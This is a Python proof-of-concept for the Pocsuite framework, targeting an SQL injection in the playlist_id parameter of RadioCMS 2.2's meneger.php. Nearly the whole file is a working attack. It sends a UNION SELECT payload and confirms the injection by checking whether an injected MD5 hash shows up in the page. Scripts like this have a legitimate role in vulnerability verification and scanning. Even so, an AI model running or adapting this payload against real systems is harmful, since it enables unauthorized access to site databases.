RadioCMS 2.2 (menager.php, playlist_id param) - SQL Injection Vulnerability

                                                #!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
    vulID = 'SSV-79381'  # vul ID
    version = '1'
    author = ['hh']
    vulDate = '2013-05-26'
    createDate = '2015-10-16'
    updateDate = '2015-10-16'
    references = ['https://www.exploit-db.com/exploits/25726/']
    name = 'RadioCMS 2.2 (menager.php playlist_id param) - SQL Injection Vulnerability'
    appPowerLink = 'radiocms.ru'
    appName = 'RadioCMS '
    appVersion = '2.2'
    vulType = 'SQL Injection'
    desc = '''
        RadioCMS 2.2版本中，由于meneger.php页面的playlist_id参数由于过滤不严，造成SQL注入漏洞，允许远程攻击者执行任意SQL命令。
    '''
    # the sample sites for examine
    samples = ['']

    def _verify(self):
        result = {}
        payload = "/radio/meneger.php?fold=/var/www/music&search=1%27&playlist_id=&playlist_id=-1 UNION SELECT 1,md5(666),3,4,5,6,7,8--"
        verify_url = self.url + payload
        content = req.get(verify_url).content
        if 'fae0b27c451c728867a567e8c1bb4e53' in content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = verify_url
        return self.parse_verify(result)

    def _attack(self):
        return self._verify()

    def parse_verify(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet Nothing returned')
        return output

register(TestPOC)